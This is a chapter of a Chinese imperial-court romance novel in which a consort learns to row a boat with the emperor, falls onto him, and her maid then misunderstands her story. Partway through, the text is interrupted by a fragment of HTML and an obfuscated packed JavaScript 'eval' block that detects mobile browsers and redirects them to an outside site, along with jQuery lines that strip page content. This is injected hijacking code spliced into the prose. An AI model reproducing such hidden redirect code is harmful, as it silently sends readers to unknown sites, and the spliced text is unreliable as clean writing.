萧凛那句话让容棠既惊又喜,也大大出乎她的意料。
他既然说得出这样的话,便意味着他并不介怀她那番听起来十分“大胆”的话,更不会因此而对她有什么不满。容棠松了口气的同时,也暗自庆幸,看来,这位陛下确实不是寻常世俗男子。她吹捧他的那句话,也确说出了实情。
她心底不由得泛起一丝微妙的喜悦。不论如何,遇上这么一位开明而疏朗的天子,于她而言终究是益处多多的。
既然他愿意亲自教授自己,那么她也要打起精神好好讨教。
主意已定,容棠兴致勃勃地按照萧凛的话做了起来。
然而真正学起来,她才发觉有许多困难。
容棠本以为自己算得上四肢灵活、动作敏捷,然而握起船桨来,却还是有些手忙脚乱。
她一边用力挥动船桨,一边努力保持住船身的平衡,十分担心自己一时不慎导致船翻了。
此等消息一旦传扬出去,她可就要在这皇宫之中名声大噪了。旁人看到她,便会在心底议论——
“这便是那位把陛下摔到湖里的贵妃娘娘。”
她可不能眼睁睁看着这种事情发生,否则可真是颜面尽失。
容棠默默给自己鼓劲,打定主意一定要学会。
她沉下心来,放松周身,竭力做到人与船合一。
萧凛坐在她对面,耐心指导着她如何调整坐姿,摆正船桨,如何用不急不缓的幅度划动。
他见她的动作似乎有些吃力,便知那船桨还是沉重了些,便道:“改日朕命人给你做一只略小些的船,桨也能轻便些。”
容棠斗志昂扬:“臣妾可以。”
萧凛失笑,索性微歪了身子,以手撑着头,静静看着她渐入佳境,逐渐熟悉了这荡舟的技巧,小船平稳地缓慢滑动起来。
船身晃晃悠悠,偶尔左右摆动,虽然有些不稳,但不至于侧翻。在这样轻柔的摇晃幅度之中,萧凛不自觉阖上了眼。
耳边,桨声与水声交织在一处,即使闭上眼,却还是能感受到清凉与湿润之意环绕在周身各处,一颗心随之变得无比沉静。
恍惚间,他觉得自己像是沉入了水底,万籁俱寂,听不见任何喧嚣,身边只有一叶小舟和一个巧笑嫣然的少女。紧绷了一整日的那根弦似乎被谁轻轻拨动,随即松懈了下来,整个人都陷入了一片幽深的思绪之中。白日的烦心事尽数抛之脑后,此时此刻,他只想长久地待在这样的地方。
容棠划了许久,手臂有些酸痛,但她惊喜地发现自己已经可以驾驭好这只小船了,船只平稳滑动,再也不见一丝晃动,不由得满面喜色,正欲开口唤萧凛,一抬眼却见他安静地靠坐在对面,呼吸绵长,气息均匀。
她心中一动,下意识放轻了动作,仔细观察着他。
萧凛闭着眼时,眉头依旧轻轻皱着,好像睡梦中也有无限心事。想来为君者,心中时刻都记挂着黎民百姓和朝政大事才会如此吧。
容棠感觉到掌心有些烫,被那木桨磨得通红,还有些隐约的痛。她环顾四周,发觉小船恰好停在了一片密密的荷叶之中。此处水面平静,波澜不兴,适合暂且停泊片刻。
她放下船桨,用力呼吸着这湿漉漉的水汽,又低头轻轻吹了吹掌心。
藕花深处,小舟静泊。
只是荷香之中难免有恼人之事。容棠刚闭上眼小憩了会,便感觉到面上有些痒意。她睁开眼,抬手挥了挥,将那飞虫赶走。
容棠用指尖蹭了蹭面颊,想着是不是应该将船划走,免得总被蚊虫所扰。她正要拿起船桨,转头一看,却发觉萧凛鼻尖处落了一只飞虫,在他那清隽的脸上着实有碍观瞻。若是再多待上半刻,只怕他便会被狠狠叮咬了。
若是萧凛明日顶着一张生了红疹的脸接见大臣,实在不妥。容棠想象了一样那种场面,先是抿嘴一笑,随即又用力摇了摇头。她直起身子,微微向前凑近,伸手去驱赶。
她骤然起身,原本静静泊在原处的小船随之晃动了起来,这动静引得萧凛思绪回笼,悠悠醒转。
他于朦胧之中看见容棠向自己靠近过来,甚至眷恋地伸出手,欲要抚上自己的面庞。
萧凛愣在原地,一时间忘了闪躲,仿若被施了定身咒一般,更是下意识闭上了眼,没有急着醒来打断她的动作。
然而预料中柔软的掌心并未碰触上他的面颊。萧凛感觉到她的气息近在咫尺,不由得狐疑起来:她究竟要做什么?
下一刻,少女清甜的吐息如一阵轻风拂过他鼻间。萧凛身子一僵,有些不敢相信。难道她要在这里......对自己行亲密之举吗?这未免也太大胆了些。
他脑海中一团乱麻。虽说她对自己一片痴心,此刻二人独处,情难自已,想要亲近自己也是情理之中,但光天化日之下,如此做似乎不大合乎规矩吧?他身为天子,岂能这般随意地在船上与嫔妃做这种事情,太有损天子威严了。
萧凛想着,深吸一口气,佯作不经意地睁开了眼,“悠悠醒转”。
容棠本打算伸手将他脸上的飞虫赶走,然而手凑到了他面前,忽然觉得这动作有些不妥,不像是为他驱赶飞虫,反倒是想给他一巴掌。若是被人瞧见,怕是要觉得自己在做犯上作乱之事。况且她不欲惊动他,这点小小的动作根本不足以震慑那虫子。
她想了想,却见那虫子飞起,又落在了旁处,情急之下,便启唇轻轻向着它吹了口气。这么一番吐息后,那飞虫确实飞走了,可原本小憩着的人也受惊一般醒了过来,正略带疑惑地看着她。
“......”
四周顿时一片死寂。
容棠半举起的手还未完全放下,见萧凛盯着自己,慌忙放下手,同时猛地向后躲了躲,想要返身坐回原处。
她这么一番急促的动作,船身晃得愈发剧烈了起来,溅起的水花沾湿了裙角。
容棠低呼一声,本能有些慌乱,生怕一个不小心引得船翻,她落水不要紧,若是把萧凛也同样弄下了水,那么她的罪过可就大了。
“别动!”萧凛显然也感觉到了,忙急声制止,同时伸手一把扶住了她的腰身,向自己这边一带,稳住她的身形,这才勉强维持住了船身的平衡。
然而下一刻,容棠顺着他拉扯的力道,身不由己地俯身跌了过去。萧凛猝不及防,身子被她扑得向后一沉,仰面躺倒在船上。两人相距极近,呼吸相闻。
周遭的一切动静仿佛都被隔绝在了这只小船之外。水波声、虫鸣声、风拂过叶片的沙沙声......容棠统统听不见了。
她双手压在了他胸膛上,整个人犹如陷入了他怀中一般。两人的衣衫紧紧纠缠在一处,身上的熏香也搅作一团,分不清彼此。
容棠一低头,便落入萧凛幽深的眼眸之中,那瞳仁深处倒映着她的模样,小小的,却格外清晰。她呼吸微微一顿,屏息看向被她压在身下的人。
这是她头一回这样近地看着他。那一刻,容棠好像忘记了彼此的身份,忘记了他是高高在上的帝王。
她呆呆地望着近在咫尺的人,全然没有察觉到掌心下那颗心勃勃跳动,衣裳下的皮肤也升腾起滚烫的热意。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991046|174452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
萧凛低低咳嗽了几声,语带笑意,又隐含着无奈:“......还不起来吗?”
他清朗的嗓音传入耳中,容棠浑身一颤,手忙脚乱地撑起身子坐回原处,只觉得再凉的晚风都吹不散她双颊的红晕。
她匆忙抚了抚鬓发,镇定道:“陛下恕罪,臣妾……失仪了。臣妾方才只是想为陛下赶走蚊虫。”
萧凛瞧着她耳垂发红的模样,心知贵妃定然是害羞了,才会寻这么个理由遮掩方才的行为。他神色如常,道:“无妨。”
说着,他又向容棠伸出手,示意她把船桨交给自己。他自己则坐回了她所在的位置,打算将船划回去。
小船荡悠悠,慢慢回到了岸边,可把等候在那的人急坏了。
方才程良全心急如焚,不住地眺望着远处,生怕陛下和贵妃出了什么意外。这会子见两人平安归来,一切如旧,他才彻底松了口气,连忙上前搀扶着萧凛上岸。
而容棠那边,她踏出小船,神色看起来一切如常,只抬手抚了抚耳垂。然而扶着她的烟雨见自家姑娘双颊微红,鬓发略有些乱,袖口和裙角皱巴巴的,还沾染着濡湿,似乎并不像是安安稳稳坐在船上的模样。
难道……烟雨不知想到了什么,顿时惊讶地瞪大了眼睛。
恰在此时,萧凛转头看向容棠,本想说什么,然而一凝眸,却敏锐地看清了她红肿的掌心,顿时眉头一蹙,挥手示意旁人退开几步,上前握住她的手腕看了许久,这才看向她,轻声问道:“还疼吗?”
容棠摇头:“谢陛下关心,臣妾无事。”
萧凛低声吩咐程良全,命他差人给贵妃送些药膏,又道:“朕今晚还有折子要看,就不陪你了。你今日累坏了,回去后用罢晚膳便早些歇息。”
容棠屈膝:“是。”
全程旁听了这一切的烟雨瞪大了眼睛,几乎不敢相信自己的耳朵,只是碍于此刻身在外面,人多眼杂,不得不按捺住心底的异样,耐着性子扶着容棠上了步辇,一路平稳回到了濯莲堂。
一回到寝殿,容棠顿时觉得累极,手臂酸痛得抬不起来,腿脚也因蜷坐在小船里而有些麻木。
她无力地倒在床榻上,一动不想动。
烟雨侍立在侧,面上神色几度变换,口唇似动非动,却不知该如何开口。
容棠躺了会,觉得腹中饥饿,便睁开眼想吩咐小厨房做些点心,却恰好对上烟雨那欲言又止的模样,不觉奇道:“为何这副表情?”
“娘娘很累吗?”烟雨觑着她的表情,问道。
容棠点点头道:“浑身无力,酸痛不已,今晚我定要好好歇息。”
烟雨惊疑不定,忙问道:“娘娘方才在船上,是不是发生了什么……不寻常的事情?”
“你怎么知道?”容棠颇有些意外,语气兴高采烈,面上也露出笑容,“我的确做了一件未曾做过的事情,现下想起来还觉得有些意犹未尽。”
“若不是陛下,我也断无此机会可以拥有此种体验。”她道,“没想到陛下身为君主,却如此耐心而温和,愿意一点点教我。虽然我很是疲累,但却有些意犹未尽。”
烟雨张大嘴巴,许久才找回自己的声音,迟疑道:“可是……在船上行此事是不是不大妥当?况且,青天白日的......”
“可这等事情,只有在船上时才可以做啊。”容棠莫名其妙地看着她。难道还可以在岸上学习划船吗?
烟雨觉得自己快要说不出话来了。
是她迂腐古板了吗?为何自家姑娘能用这样稀松平常的语气说这种事情!